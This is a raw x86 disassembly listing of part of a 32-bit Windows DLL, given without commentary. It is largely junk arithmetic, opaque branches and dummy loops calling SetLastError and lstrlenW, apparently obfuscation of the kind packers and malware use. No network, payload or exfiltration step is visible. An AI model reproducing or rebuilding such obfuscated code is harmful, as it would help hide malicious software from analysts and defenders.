mov ecx, dword [ebp - 0x40]
or ecx, dword [ebp - 0x3c]
je 0x100546c1
jmp 0x100547e4
mov edx, dword [ebp - 0x40]
not edx
mov eax, dword [ebp - 0x3c]
not eax
mov dword [ebp - 0x1db8], edx
mov dword [ebp - 0x1db4], eax
mov ecx, dword [ebp - 0x1db8]
or ecx, dword [ebp - 0x1db4]
je 0x100547e4
movsx eax, word [ebp - 0x14]
cdq
mov edx, dword [ebp - 0x40]
sub edx, eax
mov eax, dword [0x100ad160]
not eax
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x2268], esi
xor ecx, eax
not ecx
and edx, ecx
not edx
mov word [ebp - 0x1c], dx
mov edx, 0x223d
mov word [ebp - 0xc], dx
cmp dword [ebp - 0x48], 0
jne 0x1005472d
mov dword [ebp - 0x4f4], 1
jmp 0x10054737
mov dword [ebp - 0x4f4], 0
movsx eax, word [0x100ad11c]
test eax, eax
jne 0x1005474e
mov dword [ebp - 0x4f8], 1
jmp 0x10054758
mov dword [ebp - 0x4f8], 0
movsx ecx, byte [str.ZFreeSid]
movzx edx, byte [ebp - 3]
sub edx, dword [ebp - 0x4f4]
movsx eax, word [ebp - 0xc]
add eax, dword [ebp - 0x4f8]
not eax
add edx, eax
xor ecx, edx
mov dword [ebp - 0x34], ecx
imul ecx, dword [ebp - 0x38], 0x5ce6
movsx edx, word [ebp - 0x14]
imul edx, ecx
mov word [ebp - 0x14], dx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x1dc0], eax
mov dword [ebp - 0x1dbc], ecx
mov edx, dword [ebp - 0x1dc0]
or edx, dword [ebp - 0x1dbc]
je 0x100547c1
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0xfec], eax
mov dword [ebp - 0xfe8], edx
jmp 0x100547d8
mov eax, dword [0x100ad160]
mov ecx, dword [0x100ad164]
mov dword [ebp - 0xfec], eax
mov dword [ebp - 0xfe8], ecx
mov dl, byte [ebp - 0xfec]
mov byte [str.ZFreeSid], dl
jmp 0x1005485f
xor ecx, ecx
mov dword [0x100ad138], 0x25bdbd9c
mov dword [0x100ad13c], ecx
movsx edx, word [0x100ad11c]
sub edx, 0x36bb8b92
xor eax, eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
xor ecx, 0xaa51b071
xor edx, 0xd29b7
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov byte [str.ZFreeSid], 0x97
movsx eax, word [0x100ad0c0]
movsx ecx, word [0x100ad0c0]
sub eax, ecx
movsx edx, word [0x100ad0c0]
add edx, eax
mov word [0x100ad0c0], dx
mov eax, dword [0x100ad148]
mov ecx, dword [0x100ad14c]
mov dword [ebp - 0x226c], ecx
not eax
mov dword [ebp - 0x48], eax
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0xc]
cmp edx, eax
jne 0x100548f3
mov dword [ebp - 0x500], 1
jmp 0x100548fd
mov dword [ebp - 0x500], 0
movsx ecx, word [ebp - 0xc]
cmp ecx, 0x3e
jne 0x10054912
mov dword [ebp - 0x504], 1
jmp 0x1005491c
mov dword [ebp - 0x504], 0
mov edx, dword [ebp - 0x500]
cmp edx, dword [ebp - 0x504]
jge 0x100549cb
mov dword [ebp - 0x1e8], 0
jmp 0x10054949
mov eax, dword [ebp - 0x1e8]
add eax, 1
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x287
jge 0x100549c9
movsx ecx, word [0x100ad0c4]
sub ecx, 0x233cedda
mov dword [0x100ad0e0], ecx
mov edx, dword [0x100ad118]
add edx, 0x5ec5deee
mov dword [ebp - 0x34], edx
mov ax, word [0x100ad0e8]
mov word [0x100ad120], ax
mov ecx, 4
imul edx, ecx, 0x17f
mov eax, dword [edx + 0x10165c90]
xor ecx, ecx
push ecx
push eax
mov edx, dword [0x100ad114]
push edx
mov eax, dword [0x100ad110]
push eax
call fcn.1007a8a0
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov cl, byte [str.ZFreeSid]
add cl, 1
mov byte [str.ZFreeSid], cl
jmp 0x1005493a
jmp 0x10054a45
movsx edx, byte [ebp - 1]
test edx, edx
jne 0x100549fb
cmp dword [0x100ad100], 0
jne 0x100549e8
mov dword [ebp - 0x508], 1
jmp 0x100549f2
mov dword [ebp - 0x508], 0
cmp dword [ebp - 0x508], 0x61
jg 0x10054a45
mov ax, word [ebp - 0x1c]
sub ax, 1
mov word [ebp - 0x1c], ax
mov cx, word [0x100ad0d0]
add cx, 1
mov word [0x100ad0d0], cx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov cl, 5
call fcn.1007a9b0
mov byte [str.px_04X_], al
movzx eax, word [ebp - 0x24]
sar eax, 6
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov edx, 0x4e2b
mov word [0x100ad120], dx
mov eax, dword [ebp - 0xac]
movzx ecx, word [ebp + eax*2 - 0x154]
mov dword [ebp - 0xb0], ecx
movsx eax, byte [ebp - 1]
cdq
mov ecx, eax
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x2270], eax
sub ecx, edx
movsx eax, byte [ebp - 1]
cdq
add eax, ecx
mov byte [ebp - 1], al
mov ecx, 2
imul edx, ecx, 0x8ad6
movsx eax, word [edx + 0x100c0320]
movzx ecx, byte [ebp - 4]
or ecx, eax
mov byte [ebp - 4], cl
mov edx, dword [0x100ad0c8]
add edx, 0x45e38060
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0xac]
mov dword [ebp - 0xb0], eax
movsx ecx, word [0x100ad0c0]
sub ecx, 0x49625dbd
mov word [0x100ad0b0], cx
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x2274], eax
sub edx, 0x7f615939
mov word [ebp - 0x18], dx
movsx ecx, word [ebp - 0x1c]
mov dword [ebp - 0x34], ecx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
and edx, 0x4b
and eax, 0
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], eax
movsx ecx, byte [0x100ad09a]
sar ecx, 2
mov word [0x100ad0ac], cx
mov edx, dword [ebp - 0x50c]
sub edx, dword [ebp - 0x50c]
mov eax, dword [ebp - 0x510]
xor eax, dword [ebp - 0x510]
imul edx, eax
mov ecx, 0x8e
sub ecx, edx
xor ecx, dword [ebp - 0xb0]
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1dc8], edx
mov dword [ebp - 0x1dc4], eax
mov ecx, dword [ebp - 0x1dc8]
or ecx, dword [ebp - 0x1dc4]
je 0x10054cb7
mov dword [ebp - 0x1ec], 0x15
cmp dword [ebp - 0x48], 0
jne 0x10054b86
mov dword [ebp - 0x514], 1
jmp 0x10054b90
mov dword [ebp - 0x514], 0
movsx edx, word [0x100ad0c0]
add edx, dword [ebp - 0x514]
jne 0x10054bab
mov dword [ebp - 0x518], 1
jmp 0x10054bb5
mov dword [ebp - 0x518], 0
movsx eax, word [ebp - 0x14]
imul eax, dword [ebp - 0x518]
test eax, eax
jne 0x10054bd8
xor ecx, ecx
mov dword [ebp - 0x1dd0], 1
mov dword [ebp - 0x1dcc], ecx
jmp 0x10054be3
xorps xmm0, xmm0
movlpd qword [ebp - 0x1dd0], xmm0
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x2278], eax
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x227c], eax
xor edx, ecx
xor edx, 0x49d09a8e
not edx
sub edx, dword [ebp - 0x1dd0]
mov word [ebp - 0x24], dx
movsx ecx, word [ebp - 0x1c]
sar ecx, 6
mov byte [ebp - 2], cl
movzx eax, byte [str.px_04X_]
cdq
xor eax, 0x4b973d35
mov word [0x100ad0e4], ax
movsx edx, byte [ebp - 2]
sub edx, dword [0x100ad15c]
movsx eax, byte [ebp - 2]
sub eax, edx
mov byte [ebp - 2], al
movsx eax, byte [0x100ad042]
cdq
mov ecx, 8
imul ecx, ecx, 0x7c
mov dword [ecx + 0x101ebf30], eax
mov dword [ecx + 0x101ebf34], edx
movzx eax, word [ebp - 0x20]
add eax, 4
cdq
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x2280], eax
push edx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0x1ec]
add ecx, 1
mov dword [ebp - 0x1ec], ecx
cmp dword [ebp - 0x1ec], 0x255a
jl 0x10054c7f
jmp 0x10054e2a
cmp dword [0x100ad158], 0x1acd
jg 0x10054ccf
mov dword [ebp - 0x51c], 1
jmp 0x10054cd9
mov dword [ebp - 0x51c], 0
movsx edx, word [0x100ad0cc]
test edx, edx
jne 0x10054cf9
cmp dword [0x100ad100], 0
jne 0x10054cf9
mov dword [ebp - 0x520], 0
jmp 0x10054d03
mov dword [ebp - 0x520], 1
mov eax, dword [ebp - 0x51c]
cmp eax, dword [ebp - 0x520]
je 0x10054dc0
mov ecx, dword [ebp - 0x38]
sub ecx, 0x6a8c1aa8
mov dword [ebp - 0x34], ecx
mov edx, dword [0x100ad0d8]
mov eax, dword [0x100ad0dc]
push 0
push 0x5654
push eax
push edx
call fcn.1007a8a0
mov word [ebp - 0x24], ax
mov ecx, dword [0x100ad140]
sub ecx, 0x566
mov byte [ebp - 1], cl
movzx edx, byte [0x100ad0a6]
sub edx, 0xd985
mov word [0x100ad0f0], dx
movsx eax, word [0x100ad11c]
test eax, eax
jne 0x10054d78
mov dword [ebp - 0x524], 1
jmp 0x10054d82
mov dword [ebp - 0x524], 0
movsx ecx, byte [0x100ad042]
add ecx, 0x42
movsx edx, byte [0x100ad00d]
sub edx, dword [ebp - 0x524]
imul ecx, edx
mov word [ebp - 0x10], cx
movsx eax, word [0x100ad0c0]
movzx ecx, word [ebp - 0x28]
sub eax, ecx
movsx edx, word [0x100ad0c0]
imul edx, eax
mov word [0x100ad0c0], dx
jmp 0x10054e2a
movsx eax, word [0x100ad0c0]
movsx ecx, byte [ebp - 5]
cmp eax, ecx
jg 0x10054e2a
mov dl, byte [ebp - 3]
mov byte [0x100ad00e], dl
movsx eax, word [ebp - 0x14]
cdq
mov ecx, 8
imul ecx, ecx, 0x4413
mov dword [ecx + 0x10100490], eax
mov dword [ecx + 0x10100494], edx
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
mov dword [ebp - 0x2284], eax
add edx, 0xd201
mov word [ebp - 0x14], dx
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push esi
push eax
push edx
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov ecx, dword [ebp - 0xac]
mov dx, word [ebp - 0xb0]
mov word [ebp + ecx*2 - 0x154], dx
jmp 0x100539f3
mov eax, 2
shl eax, 0
xor ecx, ecx
mov word [ebp + eax - 0x154], cx
movzx edx, word [0x100ad0f0]
movsx eax, byte [0x100ad00e]
sub edx, eax
mov word [0x100ad0f0], dx
movzx ecx, word [0x100ad0ac]
imul edx, ecx, 0xe430
mov eax, dword [ebp - 0x34]
sub eax, edx
mov dword [ebp - 0x34], eax
movzx ecx, word [0x100ad0f0]
imul ecx, dword [ebp - 0x48]
mov word [0x100ad0f0], cx
mov edx, dword [0x100adbec]
mov dword [0x100ad15c], edx
movzx eax, byte [str.px_04X_]
cdq
push 0x74a06
push 0xe7cf9c6c
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad09a], al
mov eax, 0xf9
mov word [ebp - 0x158], ax
xor ecx, ecx
mov word [ebp - 0x156], cx
xor edx, edx
mov dword [0x100ad108], 0x8297
mov dword [0x100ad10c], edx
movsx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x1dd8], eax
mov dword [ebp - 0x1dd4], edx
mov eax, dword [ebp - 0x1dd4]
cmp eax, dword [0x100ad154]
jl 0x10054f20
jg 0x10054f14
mov ecx, dword [ebp - 0x1dd8]
cmp ecx, dword [0x100ad150]
jbe 0x10054f20
mov dword [ebp - 0x528], 1
jmp 0x10054f2a
mov dword [ebp - 0x528], 0
movsx edx, word [ebp - 0x14]
cmp edx, 0x24
jle 0x10054f3f
mov dword [ebp - 0x52c], 1
jmp 0x10054f49
mov dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x528]
cmp eax, dword [ebp - 0x52c]
jge 0x1005512e
mov byte [ebp - 4], 2
mov cx, word [ebp - 0x1c]
mov word [ebp - 0x28], cx
mov ecx, 0xd67cf88
sub ecx, dword [0x100ad160]
movsx eax, word [0x100ad0d0]
cdq
add ecx, eax
mov word [ebp - 0x1c], cx
movsx edx, byte [ebp - 1]
movzx eax, word [ebp - 0x10]
imul edx, eax
mov byte [ebp - 1], dl
movsx ecx, byte [0x100ad09a]
test ecx, ecx
jne 0x10054fa5
mov dword [ebp - 0x530], 1
jmp 0x10054faf
mov dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x44]
cdq
mov ecx, eax
mov esi, edx
sub ecx, dword [0x100ad150]
sbb esi, dword [0x100ad154]
mov eax, dword [ebp - 0x530]
add eax, dword [ebp - 0x34]
cdq
sub ecx, eax
sbb esi, edx
movzx edx, byte [ebp - 4]
mov eax, dword [0x100ad158]
sub eax, edx
movsx edx, byte [0x100ad037]
imul eax, edx
not eax
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x34], eax
movzx eax, byte [0x100ad0a6]
add eax, dword [0x100ad158]
mov byte [0x100ad0a6], al
mov cl, byte [ebp - 4]
mov byte [ebp - 0x1f0], cl
cmp byte [ebp - 0x1f0], 0
je 0x10055030
cmp byte [ebp - 0x1f0], 1
je 0x10055066
cmp byte [ebp - 0x1f0], 2
je 0x10055099
jmp 0x10055129
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2288], eax
add edx, 0xd3a5
mov word [0x100ad120], dx
movzx ecx, word [ebp - 0x10]
shl ecx, 6
mov byte [ebp - 1], cl
imul edx, dword [0x100ad118], 0xd6f0
mov word [ebp - 0x14], dx
jmp 0x10055129
mov eax, 0xe366
mov word [ebp - 0x24], ax
movsx eax, word [0x100ad0cc]
cdq
sub eax, 0x64b22be0
mov word [0x100ad11c], ax
movsx ecx, word [ebp - 0xc]
movzx edx, word [0x100ad0f0]
imul ecx, edx
mov word [ebp - 0xc], cx
jmp 0x10055129
movsx eax, byte [0x100ad073]
sub eax, 0x4131
movsx ecx, byte [ebp - 5]
imul ecx, eax
mov byte [ebp - 5], cl
movsx eax, word [ebp - 0xc]
shl eax, 7
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movsx edx, word [ebp - 0x1c]
movsx eax, word [0x100ad0c4]
sub edx, eax
movsx ecx, word [ebp - 0x1c]
add ecx, edx
mov word [ebp - 0x1c], cx
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x100550ec
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x534], eax
jmp 0x100550f6
movsx ecx, word [ebp - 0x14]
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x534]
xor eax, eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x100ad100]
not ecx
movsx edx, word [0x100ad0b0]
imul ecx, edx
mov dword [0x100ad15c], ecx
movzx eax, byte [ebp - 3]
sub eax, 0x73cd8f1d
mov word [ebp - 0x14], ax
jmp 0x10055245
mov ecx, 0x9bfc
test ecx, ecx
je 0x10055245
movsx eax, byte [0x100ad042]
cdq
add eax, 0xf3c12208
mov word [0x100ad0b8], ax
movzx eax, word [ebp - 0x20]
movzx edx, byte [0x100ad072]
sub eax, edx
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x1de0], ecx
mov dword [ebp - 0x1ddc], esi
mov edx, dword [ebp - 0x1de0]
or edx, dword [ebp - 0x1ddc]
jne 0x10055192
mov dword [ebp - 0x538], 1
jmp 0x1005519c
mov dword [ebp - 0x538], 0
movzx eax, word [ebp - 0x28]
movzx ecx, word [ebp - 0x24]
not ecx
imul eax, ecx
sub eax, dword [0x100ad118]
jne 0x100551bd
mov dword [ebp - 0x53c], 1
jmp 0x100551c7
mov dword [ebp - 0x53c], 0
mov edx, dword [ebp - 0x538]
sub edx, dword [ebp - 0x53c]
mov byte [0x100ad09a], dl
movzx eax, word [0x100ad0ac]
mov ecx, dword [ebp - 0x48]
imul ecx, eax
not ecx
movsx edx, byte [ebp - 1]
movzx eax, word [ebp - 0x20]
add edx, eax
add ecx, edx
mov byte [ebp - 1], cl
mov ecx, dword [0x100ad0e0]
xor edx, edx
push 0x2a920
push 0xffdf19ca
push edx
push ecx
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movsx eax, byte [str.ZFreeSid]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [str.ZFreeSid], al
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x228c], eax
mov ecx, 2
imul eax, ecx, 0x34
mov word [eax + 0x100df3a0], dx
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
movsx eax, byte [ebp - 2]
add eax, 1
cdq
mov dword [ebp - 0x1de8], ecx
mov dword [ebp - 0x1de4], esi
mov dword [ebp - 0x1df0], eax
mov dword [ebp - 0x1dec], edx
mov edx, dword [ebp - 0x1de8]
cmp edx, dword [ebp - 0x1df0]
jne 0x10055618
mov eax, dword [ebp - 0x1de4]
cmp eax, dword [ebp - 0x1dec]
jne 0x10055618
mov ecx, dword [0x100ad0e8]
add ecx, 0x3ef84c9
mov edx, dword [0x100ad0ec]
adc edx, 0xf9e7e
mov dword [ebp - 0x1df8], ecx
mov dword [ebp - 0x1df4], edx
mov eax, dword [ebp - 0x1df8]
or eax, dword [ebp - 0x1df4]
jne 0x100552d3
mov dword [ebp - 0x540], 1
jmp 0x100552dd
mov dword [ebp - 0x540], 0
movsx ecx, byte [ebp - 2]
movzx edx, byte [str.px_04X_]
add edx, dword [ebp - 0x540]
imul ecx, edx
test ecx, ecx
jne 0x10055309
xor eax, eax
mov dword [ebp - 0xff4], 1
mov dword [ebp - 0xff0], eax
jmp 0x10055314
xorps xmm0, xmm0
movlpd qword [ebp - 0xff4], xmm0
mov ecx, dword [ebp - 0xff4]
mov edx, dword [ebp - 0xff0]
mov dword [0x100ad108], ecx
mov dword [0x100ad10c], edx
mov al, byte [0x100ad0f8]
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x2290], edx
sub eax, ecx
mov dword [ebp - 0x38], eax
movsx eax, byte [ebp - 1]
sub eax, 0x2dd2b674
mov word [ebp - 0x20], ax
movzx ecx, word [ebp - 0x24]
cmp ecx, dword [ebp - 0x38]
jg 0x1005536b
mov dword [ebp - 0x544], 1
jmp 0x10055375
mov dword [ebp - 0x544], 0
movzx edx, word [ebp - 0x24]
cmp edx, 0x54
jg 0x1005538a
mov dword [ebp - 0x548], 1
jmp 0x10055394
mov dword [ebp - 0x548], 0
mov eax, dword [ebp - 0x544]
cmp eax, dword [ebp - 0x548]
jg 0x100553f2
mov ecx, dword [str.client_id]
mov dword [ebp - 0x21c0], ecx
mov edx, dword [0x100903c8]
mov dword [ebp - 0x21bc], edx
mov eax, dword [0x100903cc]
mov dword [ebp - 0x21b8], eax
mov ecx, dword [0x100903d0]
mov dword [ebp - 0x21b4], ecx
mov edx, dword [0x100903d4]
mov dword [ebp - 0x21b0], edx
lea eax, [ebp - 0x21c0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [0x100ad0b0], ax
jmp 0x1005546b
movzx ecx, byte [0x100ad0a6]
add ecx, dword [0x100ad158]
imul ecx, dword [0x100ad158]
mov dword [0x100ad158], ecx
mov edx, dword [0x100adbec]
mov dword [0x100ad118], edx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x2294], ecx
mov dword [0x100ad158], eax
mov edx, 2
imul eax, edx, 0x3352
mov cx, word [0x100ad0f0]
mov word [eax + 0x101e2818], cx
movsx eax, word [0x100ad0b0]
cdq
push 0x6189d
push 0xec75330
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x18], ax
mov dl, byte [0x100adbec]
mov byte [str.E2_wcsrchr], dl
cmp dword [0x100ad118], 1
jne 0x10055618
mov dword [ebp - 0x1f4], 0x44
movsx eax, word [ebp - 0x1c]
cdq
add eax, 0xfecc22e1
mov byte [str.E2_wcsrchr], al
mov eax, dword [0x100ad160]
add eax, 0x77a108e2
mov ecx, dword [0x100ad164]
adc ecx, 0
mov edx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
add edx, eax
adc esi, ecx
mov dword [0x100ad148], edx
mov dword [0x100ad14c], esi
movsx eax, word [0x100ad0d0]
imul eax, eax, 0xf3
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
push 0xfbc6f
push 0x803b0582
mov ecx, dword [0x100ad154]
push ecx
mov edx, dword [0x100ad150]
push edx
call fcn.1007a8a0
mov byte [ebp - 4], al
movsx eax, word [0x100ad0bc]
movzx ecx, word [ebp - 0x18]
and ecx, dword [0x100ad100]
mov edx, 0xffff6b1c
sub edx, ecx
add eax, edx
xor ecx, ecx
mov dword [0x100ad110], eax
mov dword [0x100ad114], ecx
mov edx, dword [0x100ad0e0]
sub edx, 0x43d052fc
mov word [ebp - 0x10], dx
mov eax, 0xbc18
mov word [ebp - 0x18], ax
movsx ecx, word [ebp - 0xc]
sub ecx, dword [ebp - 0x34]
mov word [ebp - 0xc], cx
movsx edx, word [ebp - 0x14]
imul eax, edx, 0x1beb
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [0x100ad0e8]
mov edx, dword [0x100ad0ec]
mov cl, 7
call fcn.1007a9b0
mov dword [0x100ad140], eax
movzx eax, word [0x100ad0b8]
movzx ecx, byte [0x100ad0a6]
imul eax, ecx
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x1f4]
add edx, 1
mov dword [ebp - 0x1f4], edx
cmp dword [ebp - 0x1f4], 0x1bda
jl 0x10055530
jmp 0x10055618
xor ecx, ecx
mov dword [0x100ad108], 0x8297
mov dword [0x100ad10c], ecx
movsx edx, byte [ebp - 1]
movsx eax, word [0x100ad0c0]
add edx, eax
jne 0x10055645
mov dword [ebp - 0x54c], 1
jmp 0x1005564f
mov dword [ebp - 0x54c], 0
movzx ecx, byte [ebp - 3]
movsx edx, word [ebp - 0x1c]
sub ecx, edx
mov eax, dword [ebp - 0x54c]
sub eax, ecx
mov dword [ebp - 0x38], eax
movsx ecx, byte [str.ZFreeSid]
movzx edx, byte [str.px_04X_]
imul ecx, edx
movsx eax, byte [str.ZFreeSid]
add eax, ecx
mov byte [str.ZFreeSid], al
movzx eax, word [ebp - 0x28]
cdq
mov ecx, eax
add ecx, dword [0x100ad160]
movzx eax, word [ebp - 0x28]
cdq
add eax, ecx
mov word [ebp - 0x28], ax
movsx edx, byte [0x100ad073]
add edx, dword [0x100ad0b4]
mov byte [0x100ad073], dl
mov eax, dword [0x100ad150]
xor eax, 0x6a7
mov ecx, dword [0x100ad154]
xor ecx, 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
movsx edx, byte [ebp - 2]
add edx, dword [0x100ad0a8]
movsx eax, byte [ebp - 2]
sub eax, edx
mov byte [ebp - 2], al
movsx ecx, word [0x100ad0bc]
movzx edx, word [ebp - 0x18]
add ecx, edx
movsx eax, word [0x100ad0bc]
sub eax, ecx
mov word [0x100ad0bc], ax
mov dword [0x100ad0b4], 4
movsx ecx, byte [0x100ad00d]
test ecx, ecx
je 0x10055719
mov edx, dword [0x100ad0b4]
mov dword [ebp - 0x550], edx
jmp 0x10055723
movzx eax, byte [ebp - 4]
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp - 0x550]
mov dword [0x100ad0e0], ecx
movzx edx, word [ebp - 0x18]
xor edx, 0x5954
mov dword [ebp - 0x48], edx
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x80], 0
jmp 0x1005575e
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jae 0x10056c37
mov ecx, dword [0x100ad138]
or ecx, dword [0x100ad13c]
jne 0x10055785
mov dword [ebp - 0x554], 1
jmp 0x1005578f
mov dword [ebp - 0x554], 0
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0x554]
sub eax, edx
je 0x10055843
mov ecx, dword [0x100ad0e8]
or ecx, dword [0x100ad0ec]
je 0x100557ee
movsx eax, byte [ebp - 5]
cdq
mov ecx, eax
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x2298], eax
sub ecx, edx
movsx eax, byte [ebp - 5]
cdq
add eax, ecx
mov byte [ebp - 5], al
movzx ecx, byte [ebp - 4]
add ecx, 0x6e
mov word [0x100ad0e4], cx
mov dx, word [0x100adbec]
mov word [ebp - 0x10], dx
jmp 0x1005583e
mov eax, dword [ebp - 0x40]
or eax, dword [ebp - 0x3c]
je 0x1005583e
movsx eax, word [0x100ad0e4]
shl eax, 1
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
mov cx, word [0x100ad11c]
mov word [ebp - 0xc], cx
mov dx, word [ebp - 0x20]
mov word [ebp - 0x18], dx
movzx eax, word [ebp - 0x18]
add eax, 0xd7
mov dword [ebp - 0x48], eax
movzx ecx, word [ebp - 0x28]
add ecx, dword [0x100ad0c8]
movzx edx, word [ebp - 0x28]
sub edx, ecx
mov word [ebp - 0x28], dx
jmp 0x1005590e
mov ecx, dword [0x100ad0f8]
not ecx
mov esi, dword [0x100ad0fc]
not esi
movsx eax, word [0x100ad0b0]
cdq
mov dword [ebp - 0x1e00], ecx
mov dword [ebp - 0x1dfc], esi
mov dword [ebp - 0x1e08], eax
mov dword [ebp - 0x1e04], edx
mov edx, dword [ebp - 0x1dfc]
cmp edx, dword [ebp - 0x1e04]
jg 0x1005589d
jl 0x10055891
mov eax, dword [ebp - 0x1e00]
cmp eax, dword [ebp - 0x1e08]
jae 0x1005589d
mov dword [ebp - 0x558], 1
jmp 0x100558a7
mov dword [ebp - 0x558], 0
movsx ecx, word [0x100ad0bc]
movzx edx, word [0x100ad0b8]
add ecx, edx
cmp dword [ebp - 0x558], ecx
je 0x1005590e
movsx eax, word [0x100ad0e4]
test eax, eax
jne 0x100558d6
mov dword [ebp - 0x55c], 1
jmp 0x100558e0
mov dword [ebp - 0x55c], 0
movzx ecx, word [ebp - 0x10]
xor ecx, dword [ebp - 0x55c]
mov word [0x100ad0c0], cx
mov eax, dword [ebp - 0x34]
sub eax, 0xc335
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov byte [ebp - 5], 0xdc
mov dword [0x100ad140], 5
mov dword [0x100ad140], 0x8a272520
movsx eax, word [0x100ad0e4]
cdq
push edx
push eax
mov edx, dword [0x100ad13c]
push edx
mov eax, dword [0x100ad138]
push eax
call fcn.1007a8a0
mov word [ebp - 0x18], ax
movsx eax, byte [ebp - 1]
cdq
push edx
push eax
mov ecx, dword [0x100ad0fc]
push ecx
mov edx, dword [0x100ad0f8]
push edx
call fcn.1007a8a0
push edx
push eax
mov eax, dword [0x100ad0fc]
push eax
mov ecx, dword [0x100ad0f8]
push ecx
call fcn.1007a8a0
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
mov byte [ebp - 4], 0x18
movsx edx, byte [ebp - 2]
sub edx, 0x75d8dae0
cmp dword [0x100ad140], edx
jne 0x10055bdc
movzx eax, word [0x100ad120]
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x10]
cdq
add eax, 0xbafcbefa
adc edx, 0x40f1f
mov dword [ebp - 0x1e10], ecx
mov dword [ebp - 0x1e0c], esi
mov dword [ebp - 0x1e18], eax
mov dword [ebp - 0x1e14], edx
mov edx, dword [ebp - 0x1e10]
cmp edx, dword [ebp - 0x1e18]
jne 0x10055bdc
mov eax, dword [ebp - 0x1e0c]
cmp eax, dword [ebp - 0x1e14]
jne 0x10055bdc
mov dword [ebp - 0x1f8], 0x2702
movsx ecx, byte [str.ZFreeSid]
test ecx, ecx
jne 0x10055a04
mov dword [ebp - 0x560], 1
jmp 0x10055a0e
mov dword [ebp - 0x560], 0
movsx edx, byte [ebp - 2]
sub edx, dword [0x100ad100]
movsx eax, byte [ebp - 2]
add edx, eax
imul edx, dword [ebp - 0x560]
xor ecx, ecx
mov dword [0x100ad160], edx
mov dword [0x100ad164], ecx
movzx eax, word [ebp - 0x24]
not eax
imul eax, dword [ebp - 0x38]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [0x100ad150]
xor edx, 0xffff0a72
mov eax, dword [0x100ad154]
xor eax, 0xffffffff
add ecx, edx
adc esi, eax
movzx eax, byte [ebp - 3]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov word [ebp - 0x24], ax
